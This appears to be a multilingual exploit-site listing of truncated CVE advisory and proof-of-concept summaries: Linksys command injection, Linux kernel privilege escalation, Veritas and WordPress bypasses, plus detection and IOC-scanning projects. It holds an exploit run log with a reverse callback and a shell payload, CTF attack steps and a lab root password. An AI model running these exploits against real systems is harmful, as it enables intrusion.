CVE-2026-86299 Linksys RE7000 PingTest json.cgi platform_event_pingTest os command injection

A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platformeventpingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack ca...

CVE-2026-86299

Linksys RE7000 (version 2.0.15) is affected by an OS command injection in the PingTest Handler component. The vulnerable function is platform_event_pingTest in /cgi-bin/json.cgi?PingTest, where manipulation of the pingTestIp, pingTestPktSize, or pingTestTimes arguments allows an attacker to injec...

EUVD-2026-72349

A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platformeventpingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack ca...

CVE-2026-86299 Linksys RE7000 PingTest json.cgi platform_event_pingTest os command injection

A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platformeventpingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack ca...

CVE-2026-4480

익스플로잇 실행: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh +...

DIRTY-FRAG-Detection-with-Wazuh-4.14.4

Wazuh 4.14.4를 이용한 DIRTY FRAG 탐지 - CVE-2026-43284 / CVE-2026-43500 Dirty Frag 커널 LPE를 위한 탐지 엔지니어링 - Ubuntu / RHEL / Debian / Amazon Linux Dirty Frag란 무엇인가? CVE-2026-43284 / CVE-2026-43500은 권한이 없는 사용자 계정에서 루트 권한을 얻기 위해 두 개의 독립적인 page-cache 쓰기 프리미티브를 체이닝하는 Linux 커널 로컬 권한 상승LPE 취약점입니다. 단일 컴파일 바이너리로 모...

CVE-2021-27876

CVE-2021-27876 Veritas Backup Exec Agent용 인증되지 않은 RCE 익스플로잇 CVE-2021-27876/77/78 — NDMP를 통한 SHA 인증 우회로 SYSTEM 권한 획득 CVE 목록 CVE| 설명| CVSS 3.1 ---|---|--- CVE-2021-27876| NDMP 프로토콜의 SHA 해시 조작을 통한 인증 우회| 9.8 Critical CVE-2021-27877| NDMP를 통한 인증되지 않은 임의 파일 읽기| 9.8 Critical CVE-2021-27878|...

CVE-2020-7882

CVE-2020-7882 寄付 PayPal または以下の QR コードのスキャンで、このプロジェクトの維持をサポートしてください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください: ローカル仮想マシン Docker コンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate th...

CVE-2026-54420

CVE-2026-54420 LiteSpeed cPanel ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하십시오: 로컬 가상 머신 Docker 컨테이너 격리된 실험실 설정 승인된 침투 테스트 환경 예제 설정: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source...

CVE-2026-43284

Dirty Frag - критическая уязвимость ядра Linux - CVE-2026-43284 📚 Введение Цепочка эксплойтов, классифицируемая как локальное повышение привилегий LPE , позволяет непривилегированному пользователю получить root-доступ практически на всех современных дистрибутивах Linux, работающих на ядрах,...

zero-click-exploit-analysis

제로클릭, 오래된 트릭 2025년 WhatsApp/ImageIO 제로클릭 익스플로잇 체인의 해부 CVE-2025-55177 + CVE-2025-43300. 연구 논문 및 CVE 연습, 패치 차이점, 직접 해보는 힙/스택 실습이 포함된 대화형 웹 컴패니언. 라이브 사이트: https://mcs.danielwagner.ro 논문 PDF: write-primitive-exploits-ios-to-linux-root.pdf 발표 슬라이드: https://mcs.danielwagner.ro/slides Manim Community 덱,...

CVE-2024-52011

cve-id ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で承認された環境でのみ使用してください。 ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 正規のペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd プロジェクトは以下のように Python を使用します 仮想環境を作成 python -m venv venv 仮想環境をアクティベート macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

shai-hulud-scan

shai-hulud-scan Навык Claude Code, который сканирует машины на наличие индикаторов компрометации IOC от червя цепочки поставок Mini Shai-Hulud CVE-2026-45321, CVSS 9.6. Что такое Mini Shai-Hulud? Самовоспроизводящийся червь цепочки поставок, скомпрометировавший более 170 npm/PyPI пакетов 11 мая...

CVE-2025-6440-Poc-Exploit

WC Designer Pro — 인증되지 않은 임의 파일 업로드 보안 연구 개념 증명 WC Designer Pro WordPress 플러그인에 영향을 미치는 인증되지 않은 임의 파일 업로드 취약점에 대한 비파괴적 개념 증명입니다. 목차 취약점 개요 보안 영향 영향을 받는 버전 근본 원인 공격 흐름 요구 사항 설치 사용 방법 기술적 세부 사항 안전한 검증 노출 지표 수정 조치 법적 및 윤리적 사용 공개 상태 참고 자료 크레딧 취약점 개요 WC Designer Pro에는 WordPress의 admin-ajax.php 엔드포인트를 ...

CVE-2025-32462-CVE-2025-32463-PoC-Lab

CVE-2025-32462 & CVE-2025-32463 – 高度な PoC ラボ このリポジトリは、2 つの重大な sudo の脆弱性に対するコンテナベースのラボ と詳細な PoC を提供します。 CVE-2025-32462 – sudo -h ホスト一致ロジックのバイパス CVE-2025-32463 – sudo -R chroot NSS ライブラリのエスケープ 研究とクレジット 原著研究: Rich Mirch – Stratascale CRU PoC とラボ環境: MAAYTHM 技術概要 CVE-2025-32462 – ホスト検証ロジックのバイパス sudo は...

CVE-2026-20230

CVE-2026-20230 - Cisco Unified CM ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 예제 설정: root@kitploit: git clone https://github.com/HORKimhab/CVE-2025-46822 cd CVE-2025-46822 python -m venv venv Mac/Linux source venv/bin/activate Window WSL/Git bash...

lehack-2026-challenge

LeHack 2026 챌린지 직접 디스크 마운트의 영향을 보여주는 3단계 챌린지입니다. 챌린지 개요 단계| 목표| 기법 ---|---|--- 1| 암호화되지 않은 디스크 접근| grub에서 부팅 cmdline을 init=/bin/bash로 설정 2| vault1 LUKS 크랙| 헤더 추출 → hashcat → vault 잠금 해제 및 마운트 3| vault2 LUKS 크랙| TPM에서 키 읽기 자격 증명 사용자| 비밀번호 ---|--- root| SynacktivSekurPasswd1337! operator|...

CVE-2025-67038

cve-id ⚡ Простое использование Используйте этот проект только в безопасных и авторизованных средах, таких как: Локальные виртуальные машины Контейнеры Docker Изолированные лабораторные среды Авторизованные среды тестирования на проникновение Пример настройки: root@kitploit: git clone cd Project u...

test-fuzz

test-fuzz test-fuzz는 afl.rs를 사용한 퍼징과 관련된 특정 작업을 자동화하는 Cargo 하위 명령이자 Rust 매크로 모음입니다. 여기에는 다음이 포함됩니다: 퍼징 코퍼스 생성 퍼징 하니스 구현 test-fuzz는 Rust의 테스트 기능을 사용하여 부분적으로 이러한 작업을 수행합니다. 예를 들어, 퍼징 코퍼스를 생성하기 위해 test-fuzz는 cargo test 실행 중 대상이 호출될 때마다 해당 대상의 인수를 기록합니다. 마찬가지로 test-fuzz는 cargo-test로 생성된 바이너리에서 퍼징 하니스...

CVE-2026-2991

KiviCare = 4.1.2 - 인증 우회 CVE-2026-2991 PoC 📜 설명 CVE-2026-2991은 KiviCare – Clinic & Patient Management System EHR WordPress 플러그인의 인증 우회 취약점으로, 4.1.2 를 포함한 모든 버전에 영향을 미칩니다. 이 플러그인은 소셜 로그인을 통해 사용자를 인증하는 공개 REST 엔드포인트 /wp-json/kivicare/v1/auth/patient/social-login을 노출합니다. patientSocialLogin 함수는 이메일 주...